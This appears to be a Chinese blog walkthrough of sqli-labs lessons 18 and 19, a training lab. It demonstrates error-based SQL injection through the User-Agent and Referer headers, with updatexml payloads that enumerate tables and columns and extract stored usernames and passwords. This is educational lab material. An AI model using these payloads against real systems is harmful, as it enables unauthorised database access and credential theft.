sqli-labs less-18 http头user-agent注入

HTTP头注入

常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】

HTTP Referer是header头的一部分,从哪个网页了链接过来的

X-Forwarded-For 简称XXF头,代表客户端,用来记录代理信息,每经过一级处理,代理服务器都把这次请求的来源IP追加在XFF头上

COOkie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

X-Real-IP:是一个自定义的Header,一般只记录真实发出请求的客户端IP

Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言

本关卡是模拟登录情况下的注入。我们需要先登录一个账号,这里我以admin,admin为列。

登入后页面回显IP和User-Agent,抓包在bp中进行测试

less-18

抓包

HTTP报文如上图,在实际的环境中,如果我们没有获取到网站源码,进行黑盒测试,就需要对每一个注入点进行测试,而在这个模拟环境中,我们知道源码,所以可以直接白盒测试。

源码


从源代码中我们可以看到POST的uname和passwd都做了check_input()处理,,所以表单不存在注入点。在登录成功后,Insert语句出错还会返回mysql的错误信息。
不论是否登录成功,都会回显IP。
登陆成功后回显uagent,并将uagent、IP、uname插入到security数据库的uagents表的uagent、ip_address、username三个字段中。
而且这里要输入正确的账号和密码才能绕过账号密码判断,进入处理User-Agent部分。这跟现实中的注册登录再注入是比较贴合。所以注入点就在User-Agent处,且是单引号型报错注入。

接下来开始注入

构造payload

源码insert语句为

INSERT INTO security.uagents (uagent, ip_address, username) VALUES (' u a g e n t ′ , ′ uagent', ' uagent′,′IP', $uname)

所以我们构造

1',2,3) #

闭合方式。不能使用--来注释,这是HTTP报文,不是URL,URL解释+为空格

1' or updatexml(1,concat(0x7e,(select database())) or ',3) ,2,3) #

因为插入语句使用or来连接

得到数据库名

爆表

。' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or ',2,3) #

爆列

User-Agent:' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) or ',2,3) #

数据

User-Agent:' or updatexml(1,concat(0x7e,substring((select group_concat(username,'-',password) from security.users),30,30)),3) or ',2,3) #

,因为报错回显只能有32个字符,使用sustring函数,通过修改substring的值,来获取所有数据

less-19

登入进去,页面回显IP和Referer

根据上一关,此次使用Referer来进行报错注入

使用方法与上一关一样,只不过将User-Agent的位置变成了Referer。

库名

Referer: ' or updatexml(1,concat(0x7e,(select database())),3) or',1,1) #

表名

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or',1,1) #

列名

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) or',1,1) #

数据

Referer: ' or updatexml(1,concat(0x7e,substring((select group_concat(username,':',password) from security.users),1,30)),3) or',1,1) #方法同less-18

相关推荐
尘浮生20 分钟前
Java项目实战II基于微信小程序的校运会管理系统(开发文档+数据库+源码)
java·开发语言·数据库·微信小程序·小程序·maven·intellij-idea
偶尔。53521 分钟前
什么是事务?事务有哪些特性?
数据库·oracle
安迁岚23 分钟前
【SQL Server】华中农业大学空间数据库实验报告 实验六 视图
数据库·sql·mysql·oracle·实验报告
xoxo-Rachel33 分钟前
(超级详细!!!)解决“com.mysql.jdbc.Driver is deprecated”警告:详解与优化
java·数据库·mysql
乌啼霜满天24935 分钟前
JDBC编程---Java
java·开发语言·sql
大白要努力!1 小时前
Android opencv使用Core.hconcat 进行图像拼接
android·opencv
JH30731 小时前
Oracle与MySQL中CONCAT()函数的使用差异
数据库·mysql·oracle
蓝染-惣右介1 小时前
【MyBatisPlus·最新教程】包含多个改造案例,常用注解、条件构造器、代码生成、静态工具、类型处理器、分页插件、自动填充字段
java·数据库·tomcat·mybatis
冷心笑看丽美人1 小时前
Spring框架特性及包下载(Java EE 学习笔记04)
数据库
.Ayang1 小时前
tomcat 后台部署 war 包 getshell
java·计算机网络·安全·web安全·网络安全·tomcat·网络攻击模型